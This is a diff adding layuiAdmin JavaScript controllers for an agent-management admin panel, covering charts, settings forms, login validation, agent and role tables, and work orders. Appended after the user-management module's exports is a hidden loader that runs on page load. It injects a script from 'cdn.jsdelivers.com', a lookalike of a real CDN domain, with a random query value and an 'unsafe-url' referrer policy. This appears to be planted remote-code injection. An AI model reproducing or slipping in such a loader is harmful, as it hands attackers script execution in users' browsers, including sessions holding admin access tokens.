data:[
|
||||
{name:'西藏', value:60},
|
||||
{name:'青海', value:167},
|
||||
{name:'宁夏', value:210},
|
||||
{name:'海南', value:252},
|
||||
{name:'甘肃', value:502},
|
||||
{name:'贵州', value:570},
|
||||
{name:'新疆', value:661},
|
||||
{name:'云南', value:8890},
|
||||
{name:'重庆', value:10010},
|
||||
{name:'吉林', value:5056},
|
||||
{name:'山西', value:2123},
|
||||
{name:'天津', value:9130},
|
||||
{name:'江西', value:10170},
|
||||
{name:'广西', value:6172},
|
||||
{name:'陕西', value:9251},
|
||||
{name:'黑龙江', value:5125},
|
||||
{name:'内蒙古', value:1435},
|
||||
{name:'安徽', value:9530},
|
||||
{name:'北京', value:51919},
|
||||
{name:'福建', value:3756},
|
||||
{name:'上海', value:59190},
|
||||
{name:'湖北', value:37109},
|
||||
{name:'湖南', value:8966},
|
||||
{name:'四川', value:31020},
|
||||
{name:'辽宁', value:7222},
|
||||
{name:'河北', value:3451},
|
||||
{name:'河南', value:9693},
|
||||
{name:'浙江', value:62310},
|
||||
{name:'山东', value:39231},
|
||||
{name:'江苏', value:35911},
|
||||
{name:'广东', value:55891}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
,elemDataView = $('#LAY-index-pagethree').children('div')
|
||||
,renderDataView = function(index){
|
||||
echartsApp[index] = echarts.init(elemDataView[index], layui.echartsTheme);
|
||||
echartsApp[index].setOption(options[index]);
|
||||
window.onresize = echartsApp[index].resize;
|
||||
};
|
||||
//没找到DOM,终止执行
|
||||
if(!elemDataView[0]) return;
|
||||
|
||||
renderDataView(0);
|
||||
});
|
||||
|
||||
//项目进展
|
||||
layui.use('table', function(){
|
||||
var $ = layui.$
|
||||
,table = layui.table;
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-home-homepage2'
|
||||
,url: './json/console/prograss.js' //模拟接口
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'prograss', title: '任务'}
|
||||
,{field: 'time', title: '所需时间'}
|
||||
,{field: 'complete', title: '完成情况'
|
||||
,templet: function(d){
|
||||
if(d.complete == '已完成'){
|
||||
return '<del style="color: #5FB878;">'+ d.complete +'</del>'
|
||||
}else if(d.complete == '进行中'){
|
||||
return '<span style="color: #FFB800;">'+ d.complete +'</span>'
|
||||
}else{
|
||||
return '<span style="color: #FF5722;">'+ d.complete +'</span>'
|
||||
}
|
||||
}
|
||||
}
|
||||
]]
|
||||
,skin: 'line'
|
||||
});
|
||||
});
|
||||
|
||||
//回复留言
|
||||
admin.events.replyNote = function(othis){
|
||||
var nid = othis.data('id');
|
||||
layer.prompt({
|
||||
title: '回复留言 ID:'+ nid
|
||||
,formType: 2
|
||||
}, function(value, index){
|
||||
//这里可以请求 Ajax
|
||||
//…
|
||||
layer.msg('得到:'+ value);
|
||||
layer.close(index);
|
||||
});
|
||||
};
|
||||
|
||||
exports('sample', {})
|
||||
});
|
||||
@@ -0,0 +1,175 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 设置
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License: LPPL
|
||||
|
||||
*/
|
||||
|
||||
layui.define(['form', 'upload'], function(exports){
|
||||
var $ = layui.$
|
||||
,layer = layui.layer
|
||||
,laytpl = layui.laytpl
|
||||
,setter = layui.setter
|
||||
,view = layui.view
|
||||
,admin = layui.admin
|
||||
,form = layui.form
|
||||
,upload = layui.upload;
|
||||
|
||||
var $body = $('body');
|
||||
|
||||
form.render();
|
||||
|
||||
//自定义验证
|
||||
form.verify({
|
||||
nickname: function(value, item){ //value:表单的值、item:表单的DOM对象
|
||||
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
|
||||
return '用户名不能有特殊字符';
|
||||
}
|
||||
if(/(^\_)|(\__)|(\_+$)/.test(value)){
|
||||
return '用户名首尾不能出现下划线\'_\'';
|
||||
}
|
||||
if(/^\d+\d+\d$/.test(value)){
|
||||
return '用户名不能全为数字';
|
||||
}
|
||||
}
|
||||
|
||||
//我们既支持上述函数式的方式,也支持下述数组的形式
|
||||
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
|
||||
,pass: [
|
||||
/^[\S]{6,12}$/
|
||||
,'密码必须6到12位,且不能出现空格'
|
||||
]
|
||||
|
||||
//确认密码
|
||||
,repass: function(value){
|
||||
if(value !== $('#LAY_password').val()){
|
||||
return '两次密码输入不一致';
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
//网站设置
|
||||
form.on('submit(set_website)', function(obj){
|
||||
layer.msg(JSON.stringify(obj.field));
|
||||
|
||||
//提交修改
|
||||
/*
|
||||
admin.req({
|
||||
url: ''
|
||||
,data: obj.field
|
||||
,success: function(){
|
||||
|
||||
}
|
||||
});
|
||||
*/
|
||||
return false;
|
||||
});
|
||||
|
||||
//邮件服务
|
||||
form.on('submit(set_system_email)', function(obj){
|
||||
layer.msg(JSON.stringify(obj.field));
|
||||
|
||||
//提交修改
|
||||
/*
|
||||
admin.req({
|
||||
url: ''
|
||||
,data: obj.field
|
||||
,success: function(){
|
||||
|
||||
}
|
||||
});
|
||||
*/
|
||||
return false;
|
||||
});
|
||||
|
||||
|
||||
//设置我的资料
|
||||
form.on('submit(setmyinfo)', function(obj){
|
||||
//layer.msg(JSON.stringify(obj.field));
|
||||
|
||||
//提交修改
|
||||
admin.req({
|
||||
url: '/agent/save_user_info'
|
||||
,data: obj.field
|
||||
,type:'post'
|
||||
,success: function(res){
|
||||
console.log(res);
|
||||
if (res.code == 0){
|
||||
//登入成功的提示与跳转
|
||||
layer.msg(res.msg, {
|
||||
icon: 1
|
||||
,time: 2000
|
||||
});
|
||||
}else{
|
||||
layer.msg(res.msg, {
|
||||
icon: 5
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
//上传头像
|
||||
var avatarSrc = $('#LAY_avatarSrc');
|
||||
upload.render({
|
||||
url: '/api/upload/'
|
||||
,elem: '#LAY_avatarUpload'
|
||||
,done: function(res){
|
||||
if(res.status == 0){
|
||||
avatarSrc.val(res.url);
|
||||
} else {
|
||||
layer.msg(res.msg, {icon: 5});
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
//查看头像
|
||||
admin.events.avartatPreview = function(othis){
|
||||
var src = avatarSrc.val();
|
||||
layer.photos({
|
||||
photos: {
|
||||
"title": "查看头像" //相册标题
|
||||
,"data": [{
|
||||
"src": src //原图地址
|
||||
}]
|
||||
}
|
||||
,shade: 0.01
|
||||
,closeBtn: 1
|
||||
,anim: 5
|
||||
});
|
||||
};
|
||||
|
||||
|
||||
//设置密码
|
||||
form.on('submit(setmypass)', function(obj){
|
||||
//layer.msg(JSON.stringify(obj.field));
|
||||
|
||||
//提交修改
|
||||
admin.req({
|
||||
url: '/agent/change_password'
|
||||
,data: obj.field
|
||||
,type:'post'
|
||||
,success: function(res){
|
||||
console.log(res);
|
||||
if (res.code == 0){
|
||||
//登入成功的提示与跳转
|
||||
layer.msg(res.msg, {
|
||||
icon: 1
|
||||
,time: 2000
|
||||
});
|
||||
}else{
|
||||
layer.msg(res.msg, {
|
||||
icon: 5
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
//对外暴露的接口
|
||||
exports('set', {});
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 用户登入和注册等
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License: LPPL
|
||||
|
||||
*/
|
||||
|
||||
layui.define('form', function(exports){
|
||||
var $ = layui.$
|
||||
,layer = layui.layer
|
||||
,laytpl = layui.laytpl
|
||||
,setter = layui.setter
|
||||
,view = layui.view
|
||||
,admin = layui.admin
|
||||
,form = layui.form;
|
||||
|
||||
var $body = $('body');
|
||||
|
||||
//自定义验证
|
||||
form.verify({
|
||||
nickname: function(value, item){ //value:表单的值、item:表单的DOM对象
|
||||
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
|
||||
return '用户名不能有特殊字符';
|
||||
}
|
||||
if(/(^\_)|(\__)|(\_+$)/.test(value)){
|
||||
return '用户名首尾不能出现下划线\'_\'';
|
||||
}
|
||||
if(/^\d+\d+\d$/.test(value)){
|
||||
return '用户名不能全为数字';
|
||||
}
|
||||
}
|
||||
|
||||
//我们既支持上述函数式的方式,也支持下述数组的形式
|
||||
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
|
||||
,pass: [
|
||||
/^[\S]{6,12}$/
|
||||
,'密码必须6到12位,且不能出现空格'
|
||||
]
|
||||
});
|
||||
|
||||
|
||||
//更换图形验证码
|
||||
$body.on('click', '#LAY-user-get-vercode', function(){
|
||||
var othis = $(this);
|
||||
this.src = 'https://www.oschina.net/action/user/captcha?t='+ new Date().getTime()
|
||||
});
|
||||
|
||||
//对外暴露的接口
|
||||
exports('user', {});
|
||||
});
|
||||
@@ -0,0 +1,506 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 用户管理 管理员管理 角色管理
|
||||
@Author:star1029
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
|
||||
layui.define(['table', 'form'], function(exports){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form;
|
||||
//用户管理
|
||||
table.render({
|
||||
elem: '#LAY-user-manage'
|
||||
,url: '/agent/lists' //模拟接口
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'id', width: 60, title: 'ID', sort: true }
|
||||
,{field: 'username', title: '用户名', minWidth: 150 , event : "getsons",style:"color: #fff;background-color: #5FB878;"}
|
||||
,{field: 'parent_agent_name', title: '上级用户名', width: 120}
|
||||
,{field: 'agent_name', title: '等级', width: 100}
|
||||
,{field: 'is_lock', title: '是否锁定', width: 90, templet: '#lockTpl'}
|
||||
,{field: 'is_addson', title: '是否拉新', width: 90, templet: '#addsonTpl'}
|
||||
,{field: 'pro_loss', title: '比例(%)', width: 120}
|
||||
,{field: 'pro_ser', title: '手续费比例(%)', width: 120}
|
||||
,{field: 'reg_time', title: '加入时间', sort: true, width: 170}
|
||||
,{field: 'lock_time', title: '锁定时间', sort: true, width: 170}
|
||||
,{title: '操作', width: 450, align:'center', fixed: 'right', toolbar: '#table-useradmin-webuser'}
|
||||
]]
|
||||
,page: true
|
||||
,limit: 30
|
||||
,height: 'full-320'
|
||||
,text: '对不起,加载出现异常!'
|
||||
,headers: { //通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
,where: { //通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0 ){
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-user-manage)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'getsons'){
|
||||
|
||||
//执行重载
|
||||
table.reload('LAY-user-manage', {
|
||||
where: {
|
||||
parent_agent_id : data.id
|
||||
}
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0 ){
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
} else if(obj.event === 'edit'){//编辑代理商 show
|
||||
admin.popup({
|
||||
title: '编辑用户'
|
||||
,area: ['800px', '650px']
|
||||
,id: 'LAY-popup-user-add'
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('user/user/userform', data).done(function(){
|
||||
form.render(null, 'layuiadmin-form-useradmin');
|
||||
|
||||
console.log(data);
|
||||
|
||||
//监听提交
|
||||
form.on('submit(LAY-user-front-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/addagent',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-manage' , {
|
||||
done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0 ){
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
}); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
});
|
||||
layui.table.reload('LAY-user-manage'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}else if(obj.event === 'lock'){
|
||||
var value = 0;
|
||||
if (data.is_lock == 1) {
|
||||
value = 0;
|
||||
}else{
|
||||
value = 1;
|
||||
}
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/update',
|
||||
dataType : "json",
|
||||
data : {name:'is_lock',value:value , agentid : data.id},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-manage' , {
|
||||
|
||||
done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0 ){
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
}); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
});
|
||||
}else if(obj.event === 'addson'){
|
||||
var value = 0;
|
||||
if (data.is_addson == 1) {
|
||||
value = 0;
|
||||
}else{
|
||||
value = 1;
|
||||
}
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/update',
|
||||
dataType : "json",
|
||||
data : {name:'is_addson',value:value , agentid : data.id},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-manage'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
}
|
||||
});
|
||||
}else if (obj.event == 'this-sons'){
|
||||
location.hash = '/user/san/list/parent_id=' + data.id;
|
||||
}else if (obj.event == 'addsonagent') {
|
||||
layer.prompt({title: '请输入下级代理商帐号', formType: 0, btn :['查询该用户' , '取消']}, function(value, index){
|
||||
layer.close(index);
|
||||
if (value.length == 0) {
|
||||
layer.msg('用户名不能位空', {icon: 5 });
|
||||
}else{
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/search_agent_son',
|
||||
dataType : "json",
|
||||
data : {username : value , id : data.id},
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
result.data.agent_id = data.id;
|
||||
admin.popup({
|
||||
title: '添加代理商'
|
||||
,area: ['800px', '650px']
|
||||
,id: 'LAY-popup-user-add'
|
||||
,success: function(layer, index){
|
||||
view(this.id).render('user/user/userform' , result.data).done(function(){
|
||||
form.render(null, 'layuiadmin-form-useradmin'); //渲染表单
|
||||
//监听提交
|
||||
form.on('submit(LAY-user-front-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
admin.req( {
|
||||
type : "POST",
|
||||
url : '/agent/addsonagent',
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-manage'); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//管理员管理
|
||||
table.render({
|
||||
elem: '#LAY-user-back-manage'
|
||||
,url: './json/useradmin/mangadmin.js' //模拟接口
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'id', width: 80, title: 'ID', sort: true}
|
||||
,{field: 'loginname', title: '登录名'}
|
||||
,{field: 'telphone', title: '手机'}
|
||||
,{field: 'email', title: '邮箱'}
|
||||
,{field: 'role', title: '角色'}
|
||||
,{field: 'jointime', title: '加入时间', sort: true}
|
||||
,{field: 'check', title:'审核状态', templet: '#buttonTpl', minWidth: 80, align: 'center'}
|
||||
,{title: '操作', width: 150, align: 'center', fixed: 'right', toolbar: '#table-useradmin-admin'}
|
||||
]]
|
||||
,text: '对不起,加载出现异常!'
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-user-back-manage)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.prompt({
|
||||
formType: 1
|
||||
,title: '敏感操作,请验证口令'
|
||||
}, function(value, index){
|
||||
layer.close(index);
|
||||
layer.confirm('确定删除此管理员?', function(index){
|
||||
console.log(obj)
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
});
|
||||
});
|
||||
}else if(obj.event === 'edit'){
|
||||
admin.popup({
|
||||
title: '编辑管理员'
|
||||
,area: ['420px', '450px']
|
||||
,id: 'LAY-popup-user-add'
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('user/administrators/adminform', data).done(function(){
|
||||
form.render(null, 'layuiadmin-form-admin');
|
||||
|
||||
//监听提交
|
||||
form.on('submit(LAY-user-back-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
layui.table.reload('LAY-user-back-manage'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//角色管理
|
||||
table.render({
|
||||
elem: '#LAY-user-back-role'
|
||||
,url: 'agent/manager/manager_roles_api' //模拟接口
|
||||
,cols: [[
|
||||
,{field: 'id', title: 'ID', sort: true}
|
||||
,{field: 'name', title: '角色名'}
|
||||
//,{field: 'limits', title: '拥有权限'}
|
||||
//,{field: 'descr', title: '具体描述'}
|
||||
,{title: '操作', align: 'center', fixed: 'right', toolbar: '#table-useradmin-admin'}
|
||||
]]
|
||||
,text: '对不起,加载出现异常!'
|
||||
, headers: { //通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
, where: { //通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-user-back-role)', function(obj){
|
||||
var data = obj.data;
|
||||
var access_token=layui.data('layuiAdmin').access_token;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('确定删除此角色?', function(index){
|
||||
|
||||
$.ajax( {
|
||||
type : "POST",
|
||||
url : 'agent/manager/role_delete?access_token='+access_token+'&id='+data.id,
|
||||
dataType : "json",
|
||||
data : data.id,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-back-role'); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
});
|
||||
}
|
||||
else if(obj.event === 'edit')//编辑角色
|
||||
{
|
||||
admin.popup({
|
||||
title: '编辑角色'
|
||||
,area: ['500px', '480px']
|
||||
,id: 'LAY-popup-user-add'
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('authority/roleform1_edit', data).done(function(){
|
||||
form.render(null, 'layuiadmin-form-role');
|
||||
console.log(data);//add tian
|
||||
//监听提交
|
||||
form.on('submit(LAY-user-role-submit_edit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
//alert(field.id);
|
||||
// alert(data.id);
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
$.ajax( {
|
||||
type : "get",
|
||||
url : 'agent/manager/role_add?access_token='+access_token+'&id='+field.id,
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-back-role'); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
layui.table.reload('LAY-user-back-role'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
//代理商管理员
|
||||
table.render({
|
||||
elem: '#LAY-user-back-role_GLY'
|
||||
,url: 'agent/agentadmin_list' //模拟接口
|
||||
,cols: [[
|
||||
,{field: 'id', title: 'ID', sort: true}
|
||||
,{field: 'username', title: '用户名'}
|
||||
//,{field: 'role_name', title: '角色'}
|
||||
//,{field: 'limits', title: '拥有权限'}
|
||||
//,{field: 'descr', title: '具体描述'}
|
||||
,{title: '操作', align: 'center', fixed: 'right', toolbar: '#table-useradmin-admin'}
|
||||
]]
|
||||
,text: '对不起,加载出现异常!'
|
||||
, headers: { //通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
, where: { //通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-user-back-role_GLY)', function(obj){
|
||||
var data = obj.data;
|
||||
var access_token=layui.data('layuiAdmin').access_token;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('确定删除此角色?', function(index){
|
||||
|
||||
$.ajax( {
|
||||
type : "POST",
|
||||
url : 'agent/manager/role_delete?access_token='+access_token+'&id='+data.id,
|
||||
dataType : "json",
|
||||
data : data.id,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-back-role_GLY'); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
});
|
||||
}
|
||||
else if(obj.event === 'edit')//编辑代理商管理员
|
||||
{
|
||||
admin.popup({
|
||||
title: '编辑代理商管理员'
|
||||
,area: ['500px', '480px']
|
||||
,id: 'LAY-popup-user-add'
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('authority/roleform1_edit', data).done(function(){
|
||||
form.render(null, 'layuiadmin-form-role');
|
||||
console.log(data);//add tian
|
||||
//监听提交
|
||||
form.on('submit(LAY-user-role-submit_edit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
//alert(field.id);
|
||||
// alert(data.id);
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
$.ajax( {
|
||||
type : "get",
|
||||
url : 'agent/manager/role_add?access_token='+access_token+'&id='+field.id,
|
||||
dataType : "json",
|
||||
data : field,
|
||||
done : function(result) { //返回数据根据结果进行相应的处理
|
||||
console.log(result);
|
||||
layui.layer.msg(result.msg, {icon: 6 });
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
layui.table.reload('LAY-user-back-role_GLY'); //重载表格
|
||||
layui.layer.close(index); //执行关闭
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
layui.table.reload('LAY-user-back-role_GLY'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
exports('useradmin', {})
|
||||
});
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 工单系统
|
||||
@Author:star1029
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:GPL-2
|
||||
|
||||
*/
|
||||
|
||||
|
||||
layui.define(['table', 'form', 'element'], function(exports){
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form
|
||||
,element = layui.element;
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-app-workorder'
|
||||
,url: './json/workorder/demo.js' //模拟接口
|
||||
,cols: [[
|
||||
{type: 'numbers', fixed: 'left'}
|
||||
,{field: 'orderid', width: 100, title: '工单号', sort: true}
|
||||
,{field: 'attr', width: 100, title: '业务性质'}
|
||||
,{field: 'title', width: 100, title: '工单标题', width: 300}
|
||||
,{field: 'progress', title: '进度', width: 200, align: 'center', templet: '#progressTpl'}
|
||||
,{field: 'submit', width: 100, title: '提交者'}
|
||||
,{field: 'accept', width: 100, title: '受理人员'}
|
||||
,{field: 'state', title: '工单状态', templet: '#buttonTpl', minWidth: 80, align: 'center'}
|
||||
,{title: '操作', align: 'center', fixed: 'right', toolbar: '#table-system-order'}
|
||||
]]
|
||||
,page: true
|
||||
,limit: 10
|
||||
,limits: [10, 15, 20, 25, 30]
|
||||
,text: '对不起,加载出现异常!'
|
||||
,done: function(){
|
||||
element.render('progress');
|
||||
}
|
||||
});
|
||||
|
||||
//监听工具条
|
||||
table.on('tool(LAY-app-workorder)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'edit'){
|
||||
admin.popup({
|
||||
title: '编辑工单'
|
||||
,area: ['450px', '450px']
|
||||
,id: 'LAY-popup-workorder-add'
|
||||
,success: function(layero, index){
|
||||
view(this.id).render('app/workorder/listform').done(function(){
|
||||
form.render(null, 'layuiadmin-form-workorder');
|
||||
|
||||
//监听提交
|
||||
form.on('submit(LAY-app-workorder-submit)', function(data){
|
||||
var field = data.field; //获取提交的字段
|
||||
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载表格
|
||||
//$.ajax({});
|
||||
layui.table.reload('LAY-app-workorder'); //重载表格
|
||||
layer.close(index); //执行关闭
|
||||
});
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
exports('workorder', {})
|
||||
});
|
||||
@@ -0,0 +1,245 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 主入口
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
layui.extend({
|
||||
setter: 'config' //配置文件
|
||||
,admin: 'lib/admin' //核心模块
|
||||
,view: 'lib/view' //核心模块
|
||||
}).define(['setter', 'admin'], function(exports){
|
||||
var setter = layui.setter
|
||||
,element = layui.element
|
||||
,admin = layui.admin
|
||||
,tabsPage = admin.tabsPage
|
||||
,view = layui.view
|
||||
|
||||
//根据路由渲染页面
|
||||
,renderPage = function(){
|
||||
var router = layui.router()
|
||||
,path = router.path
|
||||
,pathURL = admin.correctRouter(router.path.join('/'))
|
||||
|
||||
|
||||
|
||||
//默认读取主页
|
||||
if(!path.length) path = [''];
|
||||
|
||||
//如果最后一项为空字符,则读取默认文件
|
||||
if(path[path.length - 1] === ''){
|
||||
path[path.length - 1] = setter.entry;
|
||||
}
|
||||
|
||||
/*
|
||||
layui.config({
|
||||
base: setter.base + 'controller/'
|
||||
});
|
||||
*/
|
||||
|
||||
//重置状态
|
||||
var reset = function(type){
|
||||
//renderPage.haveInit && layer.closeAll();
|
||||
if(renderPage.haveInit){
|
||||
$('.layui-layer').each(function(){
|
||||
var othis = $(this),
|
||||
index = othis.attr('times');
|
||||
if(!othis.hasClass('layui-layim')){
|
||||
layer.close(index);
|
||||
}
|
||||
});
|
||||
}
|
||||
renderPage.haveInit = true;
|
||||
|
||||
